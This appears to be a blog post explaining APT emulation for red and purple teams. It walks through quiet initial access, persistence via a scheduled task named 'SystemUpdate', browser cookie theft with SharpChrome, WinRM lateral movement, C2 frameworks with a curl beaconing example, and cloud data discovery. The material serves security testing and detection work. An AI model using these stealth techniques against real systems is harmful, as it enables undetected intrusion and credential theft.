Advanced attacks rarely fail because an exploit did not work.
They fail because something felt wrong.
APT groups succeed by blending into normal operations.
Good offensive security does the same.
Emulation is not about showing impact.
It is about testing whether defenders can spot quiet intent.
What APT Emulation Actually Means
APT emulation is not copying malware samples.
It is reproducing behavior patterns seen in real campaigns:
1. Long dwell time
2. Legitimate tools over custom malware
3. Minimal noise
4. Gradual privilege expansion
5. Careful lateral movement
The goal is realism, not drama.
Common Mistake: Tool-Driven red teaming
Many engagements fail here:
1. Drop payload
2. Trigger alerts
3. Declare success
Real attackers avoid detection, not chase it.
APT emulation focuses on:
1. Living off the land
2. Using what already exists
3. Staying operational for weeks
Phase 1: Initial Access Without Noise
APT groups prefer access that looks normal.
Common entry points used in emulation:
1. Valid credentials
2. OAuth abuse
3. VPN access reuse
4. Cloud console access
Tools Used
1. Evilginx
2. AzureAD / AWS CLI
3. Browser session replay
Example: Cloud Login With Legit Credentials
aws sts get-caller-identity
If this works without alerts, defenders already lost visibility.
Phase 2: Establishing Quiet Persistence
Persistence is not autoruns anymore.
APT-style persistence blends with admin behavior.
Techniques that are commonly used include:
1. Persistent OAuth tokens
2. Identities with scheduled tasks
3. Abuse of trust regarding a Cloud Identity and Access Management role
4. API keys with extended validity
Example: Windows Scheduled Task
Schtasks /create /sc daily /st 09:00 /tn "SystemUpdate" /tr "powershell.exe -File update.ps1"
No malware. No exploits. Appears uninteresting. That is the objective.
Phase 3: Credential Access Without Dumping LSASS
Modern APTs avoid noisy memory dumps.
They prefer:
1. Token reuse
2. Browser credential extraction
3. Cloud session hijacking
4. API key harvesting
Tools Used
1. SharpChrome
2. LaZagne
3. Browser dev tools
Example: Extracting Browser Cookies
SharpChrome.exe cookies
Cookies often outlive passwords.
Phase 4: Moving Sideways via Trusted Channels
APT groups are able to move laterally without being detected.
Common ways to do this include:
1. Using SMB (Server Message Block) with valid credentials
2. Using WinRM (Windows Remote Management)
3. Using RDP (Remote Desktop Protocol) from jump (intermediate) hosts.
4. Using cloud-to-cloud pivoting.
Example: WinRM Access
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\User
If this blends into admin traffic, detection becomes difficult.
Phase 5: Building Command and Control That Looks LegitimateA
APT command and control (C2) traffic is designed to look like legitimate traffic and not like malware traffic.
Common methods of maintaining APT command and control include:
1. Using HTTPS traffic to legitimate domains for command-and-control communications
2. Using the cloud storage API (Application Programming Interface) to access cloud storage
3. Using DNS (Domain Name System) for low-frequency command-and-control communications.
Common tools for maintaining APT command and control include:
1. Mythic
2. Sliver
3. Cobalt Strike
Example: HTTPS Beaconing
curl https://cdn.example.com/update.json
Looks like software checking for updates.
Phase 6: Carrying Out the Plan Undetected
APT actors try to execute the objective of a planned attack once the threat level is low.
Commonly emulated APT actor activities include performing common security controls before executing the attack, including:
1. Performing data staging
2. Identifying financial information
3. Finding data backups
4. Gaining control of identity.
Example: Cloud Data Discovery
az storage container list --account-name targetstorage
No alarms if defenders rely only on malware alerts.
Measuring Emulation Success
Success is not shell access.
Success is when:
1. Blue team misses early indicators
2. Alerts trigger late
3. Logs exist but are not reviewed
4. Activity is labeled “admin behavior”
Purple Team Value
APT emulation works best when shared.
After-action reviews should answer:
1. What looked normal but wasn’t
2. Which logs mattered
3. What signals were ignored
4. Where assumptions failed
This improves detection far more than exploit demos.
Key Takeaways
1. APT emulation is behavioral, not exploit-driven
2. Legitimate tools are the primary weapon
3. Quiet access beats loud compromise
4. Time matters more than payloads
5. Detection gaps appear in “normal” activity
If the blue team only sees attacks when alarms fire, emulation has already succeeded.
